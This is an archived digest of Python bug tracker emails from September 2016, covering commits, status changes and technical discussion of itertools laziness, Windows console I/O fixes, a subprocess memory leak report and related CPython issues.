nosy: +berker.peksag
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> curses.unget_wch and test_curses fail when linked with ncurses 5.7 and earlier
type:  -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16293>
_______________________________________

From report at bugs.python.org  Sat Sep 17 16:43:38 2016
From: report at bugs.python.org (Tim Peters)
Date: Sat, 17 Sep 2016 20:43:38 +0000
Subject: [issue10109] itertools.product with infinite iterator cause
 MemoryError.
In-Reply-To: <1287103502.64.0.571191585998.issue10109@psf.upfronthosting.co.za>
Message-ID: <1474145018.39.0.160119961551.issue10109@psf.upfronthosting.co.za>


Tim Peters added the comment:

I see nothing wrong with combinatorial generators materializing their inputs before generation.  Perhaps it should be documented clearly.  It's certainly not limited to `product()`.  For example,

>>> for i in itertools.combinations(itertools.count(), 2):
...	print(i)

dies with MemoryError too.  But I expected that ;-)

----------
nosy: +tim.peters

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue10109>
_______________________________________

From report at bugs.python.org  Sat Sep 17 16:51:40 2016
From: report at bugs.python.org (Xavion)
Date: Sat, 17 Sep 2016 20:51:40 +0000
Subject: [issue28165] The 'subprocess' module leaks memory when called in
 certain ways
In-Reply-To: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>
Message-ID: <1474145500.91.0.896546009407.issue28165@psf.upfronthosting.co.za>


Changes by Xavion <Xavion.0 at Gmail.com>:


Removed file: http://bugs.python.org/file44708/Memory-Leak-Test.zip

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Sat Sep 17 16:51:44 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 17 Sep 2016 20:51:44 +0000
Subject: [issue28164] _PyIO_get_console_type fails for various paths
In-Reply-To: <1473911463.84.0.00788793507165.issue28164@psf.upfronthosting.co.za>
Message-ID: <20160917205141.14378.42597.16E89AC2@psf.io>


Roundup Robot added the comment:

New changeset d0bab9fda568 by Steve Dower in branch '3.6':
Issue #28161: Opening CON for write access fails
https://hg.python.org/cpython/rev/d0bab9fda568

New changeset 187a114b9ef4 by Steve Dower in branch 'default':
Issue #28161: Opening CON for write access fails
https://hg.python.org/cpython/rev/187a114b9ef4

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28164>
_______________________________________

From report at bugs.python.org  Sat Sep 17 16:51:44 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 17 Sep 2016 20:51:44 +0000
Subject: [issue28162] WindowsConsoleIO readall() fails if first line starts
 with Ctrl+Z
In-Reply-To: <1473909917.67.0.236391762597.issue28162@psf.upfronthosting.co.za>
Message-ID: <20160917205141.14378.94383.A8EE003C@psf.io>


Roundup Robot added the comment:

New changeset d0bab9fda568 by Steve Dower in branch '3.6':
Issue #28161: Opening CON for write access fails
https://hg.python.org/cpython/rev/d0bab9fda568

New changeset 187a114b9ef4 by Steve Dower in branch 'default':
Issue #28161: Opening CON for write access fails
https://hg.python.org/cpython/rev/187a114b9ef4

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28162>
_______________________________________

From report at bugs.python.org  Sat Sep 17 16:51:45 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 17 Sep 2016 20:51:45 +0000
Subject: [issue28163] WindowsConsoleIO fileno() passes wrong flags to
 _open_osfhandle
In-Reply-To: <1473909981.28.0.381163712265.issue28163@psf.upfronthosting.co.za>
Message-ID: <20160917205141.14378.75209.7FE31291@psf.io>


Roundup Robot added the comment:

New changeset d0bab9fda568 by Steve Dower in branch '3.6':
Issue #28161: Opening CON for write access fails
https://hg.python.org/cpython/rev/d0bab9fda568

New changeset 187a114b9ef4 by Steve Dower in branch 'default':
Issue #28161: Opening CON for write access fails
https://hg.python.org/cpython/rev/187a114b9ef4

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28163>
_______________________________________

From report at bugs.python.org  Sat Sep 17 16:51:45 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 17 Sep 2016 20:51:45 +0000
Subject: [issue28161] Opening CON for write access fails
In-Reply-To: <1473909865.01.0.166181984624.issue28161@psf.upfronthosting.co.za>
Message-ID: <20160917205141.14378.66305.08CBDD56@psf.io>


Roundup Robot added the comment:

New changeset d0bab9fda568 by Steve Dower in branch '3.6':
Issue #28161: Opening CON for write access fails
https://hg.python.org/cpython/rev/d0bab9fda568

New changeset 187a114b9ef4 by Steve Dower in branch 'default':
Issue #28161: Opening CON for write access fails
https://hg.python.org/cpython/rev/187a114b9ef4

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28161>
_______________________________________

From report at bugs.python.org  Sat Sep 17 16:52:19 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 17 Sep 2016 20:52:19 +0000
Subject: [issue28161] Opening CON for write access fails
In-Reply-To: <1473909865.01.0.166181984624.issue28161@psf.upfronthosting.co.za>
Message-ID: <1474145539.23.0.766965485702.issue28161@psf.upfronthosting.co.za>


Changes by Steve Dower <steve.dower at python.org>:


----------
resolution:  -> fixed
stage: test needed -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28161>
_______________________________________

From report at bugs.python.org  Sat Sep 17 16:53:13 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 17 Sep 2016 20:53:13 +0000
Subject: [issue28163] WindowsConsoleIO fileno() passes wrong flags to
 _open_osfhandle
In-Reply-To: <1473909981.28.0.381163712265.issue28163@psf.upfronthosting.co.za>
Message-ID: <1474145593.16.0.28029397477.issue28163@psf.upfronthosting.co.za>


Changes by Steve Dower <steve.dower at python.org>:


----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28163>
_______________________________________

From report at bugs.python.org  Sat Sep 17 16:53:28 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 17 Sep 2016 20:53:28 +0000
Subject: [issue28164] _PyIO_get_console_type fails for various paths
In-Reply-To: <1473911463.84.0.00788793507165.issue28164@psf.upfronthosting.co.za>
Message-ID: <1474145608.56.0.532715751209.issue28164@psf.upfronthosting.co.za>


Changes by Steve Dower <steve.dower at python.org>:


----------
resolution:  -> fixed
stage: test needed -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28164>
_______________________________________

From report at bugs.python.org  Sat Sep 17 16:54:15 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 17 Sep 2016 20:54:15 +0000
Subject: [issue28162] WindowsConsoleIO readall() fails if first line starts
 with Ctrl+Z
In-Reply-To: <1473909917.67.0.236391762597.issue28162@psf.upfronthosting.co.za>
Message-ID: <1474145655.7.0.879319905498.issue28162@psf.upfronthosting.co.za>


Steve Dower added the comment:

The fix here was changing "n > 0 && buf[len] == '\x1a'" into "n == 0 || buf[len] == '\x1a'" when returning an empty bytes. Previously we were falling into the conversion code which wasn't happy with n == 0.

----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28162>
_______________________________________

From report at bugs.python.org  Sat Sep 17 16:55:41 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 17 Sep 2016 20:55:41 +0000
Subject: [issue28191] Support RFC4985 SRVName in SAN name
In-Reply-To: <1474136102.17.0.179768982424.issue28191@psf.upfronthosting.co.za>
Message-ID: <1474145741.53.0.399046433603.issue28191@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
keywords: +patch
Added file: http://bugs.python.org/file44722/Add-RFC4985-SRVName-to-SAN.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28191>
_______________________________________

From report at bugs.python.org  Sat Sep 17 17:09:56 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 17 Sep 2016 21:09:56 +0000
Subject: [issue27354] SSLContext.load_verify_locations cannot handle paths on
 Windows which cannot be encoded using mbcs
In-Reply-To: <1466389929.18.0.227515818606.issue27354@psf.upfronthosting.co.za>
Message-ID: <1474146596.54.0.414680854039.issue27354@psf.upfronthosting.co.za>


Steve Dower added the comment:

I haven't tracked it down in 1.1, but in 1.0.2 OpenSSL handles ASCII, UTF-8 and mbcs/ANSI paths explicitly: https://github.com/openssl/openssl/blob/OpenSSL_1_0_2-stable/crypto/bio/bss_file.c#L138

So for 3.6 and later, if we're encoding the paths with fsencode(), it'll be fine, but we could also use utf-8 unconditionally.

Doing a search of the codebase though, there's only the one place that does this and everywhere else just uses fopen() without attempting to decode. I don't think we're exposing many of those publicly though.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27354>
_______________________________________

From report at bugs.python.org  Sat Sep 17 17:14:53 2016
From: report at bugs.python.org (Xavion)
Date: Sat, 17 Sep 2016 21:14:53 +0000
Subject: [issue28165] The 'subprocess' module leaks memory when called in
 certain ways
In-Reply-To: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>
Message-ID: <1474146893.2.0.0830206968784.issue28165@psf.upfronthosting.co.za>


Xavion added the comment:

I put them into an archive so that the folder hierarchy would be preserved.  Doing it that way makes it faster for you guys to run the tests at your end.

Nonetheless, I will post the seven (7) files individually as well.  It doesn't look like I can upload more than one at a time, so get ready for a few emails!

----------
Added file: http://bugs.python.org/file44723/Memory-Leak-Test.zip

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Sat Sep 17 17:16:12 2016
From: report at bugs.python.org (Xavion)
Date: Sat, 17 Sep 2016 21:16:12 +0000
Subject: [issue28165] The 'subprocess' module leaks memory when called in
 certain ways
In-Reply-To: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>
Message-ID: <1474146972.26.0.142304075046.issue28165@psf.upfronthosting.co.za>


Changes by Xavion <Xavion.0 at Gmail.com>:


Added file: http://bugs.python.org/file44724/Test.sh

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Sat Sep 17 17:16:46 2016
From: report at bugs.python.org (Xavion)
Date: Sat, 17 Sep 2016 21:16:46 +0000
Subject: [issue28165] The 'subprocess' module leaks memory when called in
 certain ways
In-Reply-To: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>
Message-ID: <1474147006.63.0.661448776788.issue28165@psf.upfronthosting.co.za>


Changes by Xavion <Xavion.0 at Gmail.com>:


Added file: http://bugs.python.org/file44725/Test-1.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Sat Sep 17 17:17:19 2016
From: report at bugs.python.org (Xavion)
Date: Sat, 17 Sep 2016 21:17:19 +0000
Subject: [issue28165] The 'subprocess' module leaks memory when called in
 certain ways
In-Reply-To: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>
Message-ID: <1474147039.46.0.357162095748.issue28165@psf.upfronthosting.co.za>


Changes by Xavion <Xavion.0 at Gmail.com>:


Added file: http://bugs.python.org/file44726/Test-2.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Sat Sep 17 17:18:49 2016
From: report at bugs.python.org (Xavion)
Date: Sat, 17 Sep 2016 21:18:49 +0000
Subject: [issue28165] The 'subprocess' module leaks memory when called in
 certain ways
In-Reply-To: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>
Message-ID: <1474147129.74.0.740193729012.issue28165@psf.upfronthosting.co.za>


Changes by Xavion <Xavion.0 at Gmail.com>:


Added file: http://bugs.python.org/file44727/Test-1-no-gc.log

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Sat Sep 17 17:19:10 2016
From: report at bugs.python.org (Xavion)
Date: Sat, 17 Sep 2016 21:19:10 +0000
Subject: [issue28165] The 'subprocess' module leaks memory when called in
 certain ways
In-Reply-To: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>
Message-ID: <1474147150.15.0.965219057379.issue28165@psf.upfronthosting.co.za>


Changes by Xavion <Xavion.0 at Gmail.com>:


Added file: http://bugs.python.org/file44728/Test-1-gc.log

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Sat Sep 17 17:19:30 2016
From: report at bugs.python.org (Xavion)
Date: Sat, 17 Sep 2016 21:19:30 +0000
Subject: [issue28165] The 'subprocess' module leaks memory when called in
 certain ways
In-Reply-To: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>
Message-ID: <1474147170.18.0.222346301966.issue28165@psf.upfronthosting.co.za>


Changes by Xavion <Xavion.0 at Gmail.com>:


Added file: http://bugs.python.org/file44729/Test-2-no-gc.log

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Sat Sep 17 17:20:00 2016
From: report at bugs.python.org (Xavion)
Date: Sat, 17 Sep 2016 21:20:00 +0000
Subject: [issue28165] The 'subprocess' module leaks memory when called in
 certain ways
In-Reply-To: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>
Message-ID: <1474147200.46.0.740419216572.issue28165@psf.upfronthosting.co.za>


Changes by Xavion <Xavion.0 at Gmail.com>:


Added file: http://bugs.python.org/file44730/Test-2-gc.log

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Sat Sep 17 17:35:57 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 17 Sep 2016 21:35:57 +0000
Subject: [issue28192] Don't import readline in isolated mode
In-Reply-To: <1474138714.57.0.361326566705.issue28192@psf.upfronthosting.co.za>
Message-ID: <20160917213554.20603.30564.92DDC94A@psf.io>


Roundup Robot added the comment:

New changeset 5761294bb877 by Steve Dower in branch '3.6':
Issue #28192: Adds tests for hook in isolated mode
https://hg.python.org/cpython/rev/5761294bb877

New changeset 6c7a8a012669 by Steve Dower in branch 'default':
Issue #28192: Adds tests for hook in isolated mode
https://hg.python.org/cpython/rev/6c7a8a012669

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28192>
_______________________________________

From report at bugs.python.org  Sat Sep 17 17:37:07 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 17 Sep 2016 21:37:07 +0000
Subject: [issue28192] Don't import readline in isolated mode
In-Reply-To: <1474138714.57.0.361326566705.issue28192@psf.upfronthosting.co.za>
Message-ID: <1474148227.02.0.300446220705.issue28192@psf.upfronthosting.co.za>


Steve Dower added the comment:

Turned out that we really only need to check for sys.__interactivehook__, which made it much easier to write the tests.

----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28192>
_______________________________________

From report at bugs.python.org  Sat Sep 17 17:47:24 2016
From: report at bugs.python.org (Robert Xiao)
Date: Sat, 17 Sep 2016 21:47:24 +0000
Subject: [issue10109] itertools.product with infinite iterator cause
 MemoryError.
In-Reply-To: <1287103502.64.0.571191585998.issue10109@psf.upfronthosting.co.za>
Message-ID: <1474148844.16.0.21985135176.issue10109@psf.upfronthosting.co.za>


Robert Xiao added the comment:

It wouldn't be that complicated to have the combinatorial functions be lazy too - I feel like there's some value to be had there.

What's the major objection to making all of the itertools functions "maximally lazy"?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue10109>
_______________________________________

From report at bugs.python.org  Sat Sep 17 17:58:33 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 17 Sep 2016 21:58:33 +0000
Subject: [issue28193] Consider using lru_cache for the re.py caches
In-Reply-To: <1474142764.79.0.545149885627.issue28193@psf.upfronthosting.co.za>
Message-ID: <1474149513.58.0.624951845387.issue28193@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
keywords: +patch
Added file: http://bugs.python.org/file44731/re_repl_cache.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28193>
_______________________________________

From report at bugs.python.org  Sat Sep 17 18:06:47 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 17 Sep 2016 22:06:47 +0000
Subject: [issue28176] Fix callbacks race in asyncio.SelectorLoop.sock_connect
In-Reply-To: <1473976530.0.0.19666207968.issue28176@psf.upfronthosting.co.za>
Message-ID: <20160917220644.14460.79340.35AFB9A7@psf.io>


Roundup Robot added the comment:

New changeset 8417873f2eac by Berker Peksag in branch '3.5':
Issue #28176: Increase timeout for test_sock_connect_sock_write_race
https://hg.python.org/cpython/rev/8417873f2eac

New changeset b5a08d5db05b by Berker Peksag in branch '3.6':
Issue #28176: Merge from 3.5
https://hg.python.org/cpython/rev/b5a08d5db05b

New changeset eb306c20de20 by Berker Peksag in branch 'default':
Issue #28176: Merge from 3.6
https://hg.python.org/cpython/rev/eb306c20de20

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28176>
_______________________________________

From report at bugs.python.org  Sat Sep 17 18:06:47 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 17 Sep 2016 22:06:47 +0000
Subject: [issue10109] itertools.product with infinite iterator cause
 MemoryError.
In-Reply-To: <1287103502.64.0.571191585998.issue10109@psf.upfronthosting.co.za>
Message-ID: <1474150007.91.0.54261431992.issue10109@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

> What's the major objection to making all of the itertools functions "maximally lazy"?

It complicates the code and provides nearly zero benefit in practical use cases of the combinatoric functions.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue10109>
_______________________________________

From report at bugs.python.org  Sat Sep 17 19:14:32 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 17 Sep 2016 23:14:32 +0000
Subject: [issue28110] launcher.msi has different product codes between 32 and
 64-bit
In-Reply-To: <1473712654.55.0.666881754896.issue28110@psf.upfronthosting.co.za>
Message-ID: <20160917231429.2801.18785.A68CA1FB@psf.io>


Roundup Robot added the comment:

New changeset 13001cf82931 by Steve Dower in branch '3.5':
Issue #28110: launcher.msi has different product codes between 32-bit and 64-bit
https://hg.python.org/cpython/rev/13001cf82931

New changeset f0fbb09e2d90 by Steve Dower in branch '3.6':
Issue #28110: launcher.msi has different product codes between 32-bit and 64-bit
https://hg.python.org/cpython/rev/f0fbb09e2d90

New changeset 64d6e96819a0 by Steve Dower in branch 'default':
Issue #28110: launcher.msi has different product codes between 32-bit and 64-bit
https://hg.python.org/cpython/rev/64d6e96819a0

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28110>
_______________________________________

From report at bugs.python.org  Sat Sep 17 19:28:29 2016
From: report at bugs.python.org (Lucas Wiman)
Date: Sat, 17 Sep 2016 23:28:29 +0000
Subject: [issue10109] itertools.product with infinite iterator cause
 MemoryError.
In-Reply-To: <1287103502.64.0.571191585998.issue10109@psf.upfronthosting.co.za>
Message-ID: <1474154909.38.0.53325425463.issue10109@psf.upfronthosting.co.za>


Lucas Wiman added the comment:

It is quite thrifty with memory compared to the size of the search space O(n*k) memory for a search space of size O(n**k).

I think a reasonable expectation for itertools.product is that it should _eventually_ reach any element in the search space. The only way to maintain that expectation for infinite iterators would be be to use a Cantor-style zig-zag enumeration. Even for your example of searching over a single infinite iterator, you could end up exploring dates in the order (2010, 0), (2011, 0), (2012, 0), ... by switching the ordering of inputs. You'd never hit the rare date unless it happened on the first day of a year. 

There's no way to have special behavior _only_ for infinite iterators, since an infinite iterator is indistinguishable from a long-finite one due to the halting problem, so this would require changing the behavior for finite iterators too. While the output ordering is not explicitly documented, the current search order is probably depended on by plenty of existing programs, and has less surprise than a Cantor enumeration.

So the only use case where the lazy enumeration matters is if:
1. You have one or more _very_ large iterators.
2. You _do not care_ what order they are searched in, or even if all possible tuples appear in the output.
3. Despite not caring about the output ordering, you still only want a few examples.

I'm struggling to think of cases where that would come up.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue10109>
_______________________________________

From report at bugs.python.org  Sat Sep 17 19:35:18 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 17 Sep 2016 23:35:18 +0000
Subject: [issue28110] launcher.msi has different product codes between 32 and
 64-bit
In-Reply-To: <1473712654.55.0.666881754896.issue28110@psf.upfronthosting.co.za>
Message-ID: <20160917233515.24811.65328.03B14DE4@psf.io>


Roundup Robot added the comment:

New changeset dd7e3c81c4f0 by Steve Dower in branch '3.6':
Fixes bad merge for issue #28110
https://hg.python.org/cpython/rev/dd7e3c81c4f0

New changeset f4cdc125ed52 by Steve Dower in branch 'default':
Fixes bad merge for issue #28110
https://hg.python.org/cpython/rev/f4cdc125ed52

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28110>
_______________________________________

From report at bugs.python.org  Sat Sep 17 19:35:46 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 17 Sep 2016 23:35:46 +0000
Subject: [issue28110] launcher.msi has different product codes between 32 and
 64-bit
In-Reply-To: <1473712654.55.0.666881754896.issue28110@psf.upfronthosting.co.za>
Message-ID: <1474155346.86.0.304396375181.issue28110@psf.upfronthosting.co.za>


Changes by Steve Dower <steve.dower at python.org>:


----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed
versions: +Python 3.5, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28110>
_______________________________________

From report at bugs.python.org  Sat Sep 17 19:43:53 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 17 Sep 2016 23:43:53 +0000
Subject: [issue27932] platform.win32_ver() leaks in 2.7.12
In-Reply-To: <1472744071.14.0.482080718706.issue27932@psf.upfronthosting.co.za>
Message-ID: <20160917234351.2559.69095.2E7ED535@psf.io>


Roundup Robot added the comment:

New changeset 9b0d661a16de by Steve Dower in branch '2.7':
Issue #27932: Prevent memory leak in win32_ver().
https://hg.python.org/cpython/rev/9b0d661a16de

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27932>
_______________________________________

From report at bugs.python.org  Sat Sep 17 20:09:15 2016
From: report at bugs.python.org (Tim Peters)
Date: Sun, 18 Sep 2016 00:09:15 +0000
Subject: [issue10109] itertools.product with infinite iterator cause
 MemoryError.
In-Reply-To: <1287103502.64.0.571191585998.issue10109@psf.upfronthosting.co.za>
Message-ID: <1474157355.23.0.221299562666.issue10109@psf.upfronthosting.co.za>


Tim Peters added the comment:

Lucas, I largely agree, but it is documented that the various combinatorial generators emit items in a particular lexicographic order.  So that is documented, and programs definitely rely on it.

That's why, in an earlier comment, Terry suggested that perhaps `product()` could make a special case of its (and only its) first argument (and only when repeat=1).  Each element of the first iterable is needed only once (although it may copied into any number of outputs), so there's no actual need to make a tuple of it first.  The implementation is just simpler and clearer by treating all arguments alike.

Which is a good enough reason for me - and the "use cases" for an unbounded first argument look exceptionally weak to me.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue10109>
_______________________________________

From report at bugs.python.org  Sat Sep 17 20:30:26 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 18 Sep 2016 00:30:26 +0000
Subject: [issue27932] platform.win32_ver() leaks in 2.7.12
In-Reply-To: <1472744071.14.0.482080718706.issue27932@psf.upfronthosting.co.za>
Message-ID: <20160918003022.19786.68001.E0F329FC@psf.io>


Roundup Robot added the comment:

New changeset db4b254f5df4 by Steve Dower in branch '3.5':
Issue #27932: Prevent memory leak in win32_ver().
https://hg.python.org/cpython/rev/db4b254f5df4

New changeset 14fca2c8eb36 by Steve Dower in branch '3.6':
Issue #27932: Prevent memory leak in win32_ver().
https://hg.python.org/cpython/rev/14fca2c8eb36

New changeset 19ceb5034fe5 by Steve Dower in branch 'default':
Issue #27932: Prevent memory leak in win32_ver().
https://hg.python.org/cpython/rev/19ceb5034fe5

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27932>
_______________________________________

From report at bugs.python.org  Sat Sep 17 20:32:51 2016
From: report at bugs.python.org (Steve Dower)
Date: Sun, 18 Sep 2016 00:32:51 +0000
Subject: [issue27932] platform.win32_ver() leaks in 2.7.12
In-Reply-To: <1472744071.14.0.482080718706.issue27932@psf.upfronthosting.co.za>
Message-ID: <1474158771.95.0.563392934014.issue27932@psf.upfronthosting.co.za>


Steve Dower added the comment:

Phew. Doing that in a reasonable way for all the active versions was a pain, but I think I managed it.

In short:
* 2.7 gets the fix proposed by Eryk Sun
* 3.5 gets a private sys.getwindowsversion()._platform_version member
* 3.6+ gets a public/documented sys.getwindowsversion().platform_version member

AFAICT the implementation is solid, but please shout if you spot anything weird/wrong.

----------
stage:  -> commit review
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27932>
_______________________________________

From report at bugs.python.org  Sat Sep 17 20:54:22 2016
From: report at bugs.python.org (Martin Panter)
Date: Sun, 18 Sep 2016 00:54:22 +0000
Subject: [issue28143] ASDL compatibility with Python 3 system interpreter
In-Reply-To: <1473843180.28.0.653391200015.issue28143@psf.upfronthosting.co.za>
Message-ID: <1474160062.22.0.266219159699.issue28143@psf.upfronthosting.co.za>


Martin Panter added the comment:

This patch ports the logic written for Issue 26662 to Python 2. Basically, configure searches for commands called python2.7, python2, and python (in order of priority), and sets PYTHON_FOR_GEN to the result. PYTHON_FOR_GEN could be overridden by the user if desired. If no Python command is found, the build fails with an error message:

Cannot generate /home/proj/python/cpython/Python/Python-ast.c, python not found !
To skip re-generation of /home/proj/python/cpython/Python/Python-ast.c run <make touch> or <make -t /home/proj/python/cpython/Python/Python-ast.c>.
Otherwise, set python in PATH and run configure or run <make PYTHON_FOR_GEN=python>.
--- Python/Python-ast.c ---
*** [Python/Python-ast.c] Error code 1

However if it finds ?python? and that turns out to be version 3, it will still have the same problem as now, and you will have to manually use ?make touch? or similar.

----------
Added file: http://bugs.python.org/file44732/PYTHON_FOR_GEN.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28143>
_______________________________________

From report at bugs.python.org  Sat Sep 17 21:08:13 2016
From: report at bugs.python.org (Eryk Sun)
Date: Sun, 18 Sep 2016 01:08:13 +0000
Subject: [issue28164] _PyIO_get_console_type fails for various paths
In-Reply-To: <1473911463.84.0.00788793507165.issue28164@psf.upfronthosting.co.za>
Message-ID: <1474160893.83.0.528184345754.issue28164@psf.upfronthosting.co.za>


Eryk Sun added the comment:

> check that a handle is actually a real console handle or 
> what type it is

Did you mean a path here? Certainly you can check a handle, but that means opening the path twice.

You can use GetFullPathName to classify the path, and then use GetFullPathName again when opening it. Keep the original path as the `name`. When classifying the path, ignore the DOS-device prefix, "\\.\" or "\\?\", if present, and do a case-insensitive match for CON, CONIN$, or CONOUT$.

GetFullPathName transforms paths containing the "CON" device, e.g. "C:\Temp\con   :.spam  " =>  "\\.\CON". This ignores trailing spaces and anything after the first "." or ":" in the last component. It also translates forward slashes, e.g. "//./con" => "\\.\con". On Windows 8+ it also works with CONIN$ and CONOUT$, transforming them to "\\.\CONIN$" and "\\.\CONOUT$". 

This is reliable on Windows 8+, without having to also call GetFullPathName again when opening the path. The problem with Windows Vista and 7 is a speed hack it has. In these older versions, opening the console has to be handled specially by the function OpenConsoleW, so like you have to do here, in Windows 7 there's an internal BaseIsThisAConsoleName function to classify a path. 

This function always checks for "CON", "CONIN$", or "CONOUT$" (case insensitive). But it also matches "\\.\CON" and in some cases also "CON" in the last component. Since BaseIsThisAConsoleName always has to be called, the path search could hurt performance. So there's a dubious hack to only look for "CON" if the path starts with "\", "c", or "C" or ends with "n", "N", "or ":". Thus "C:\temp\con  " opens the console because it starts with "C", but not "Z:\temp\con  " because it starts with "Z" and ends with a space.

----------
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28164>
_______________________________________

From report at bugs.python.org  Sat Sep 17 21:19:11 2016
From: report at bugs.python.org (Tim Peters)
Date: Sun, 18 Sep 2016 01:19:11 +0000
Subject: [issue27761] Private _nth_root function loses accuracy
In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za>
Message-ID: <1474161551.86.0.0964193189725.issue27761@psf.upfronthosting.co.za>


Tim Peters added the comment:

Let me clarify something about the extended algorithm:  the starting guess is no longer the most significant source of error.  It's the `mul(D(x), pow(D2, e))` part.  `D(x)` is exact, but `pow(D2, e)` may not be exactly representable with 26 decimal digits, and the multiplication may also need to round.  Those 2 operations may each suffer a half ulp error (but "ulp" in this case is 1 in the 26th decimal digit).

The rough error analysis is straightforward to extend, but I used wxMaxima to do the Taylor expansions and to ensure I didn't drop any terms.  

So suppose that instead of exactly x*2**e we get x*2**e*(1+r1) for some small |r1| (on the order of 10**-25), and instead of the exact n'th root `t` the starting guess g = t*(1+r2) for some small |r2| (on the order of 2**-50).  Then the mathematical value of the corrected `g` is `t` times (dropping terms higher than quadratic in `r1` and `r2`):

1   + r1/n   - (n-1)/n * r1*r2   + (n-1)/2 * r2**2

The largest term (besides 1) by far is now `r1/n` (assuming a not-insanely-large `n`).  But that's still "way at the end" of the extended-precision decimal format, which _should be_ ;-) intuitively obvious.  It's too small to have a direct effect on the last bit of the 53-bit result (but can certainly affect "close call" rounding cases).

----------

_______________________________________
Python tracker <report at bugs.python.org>
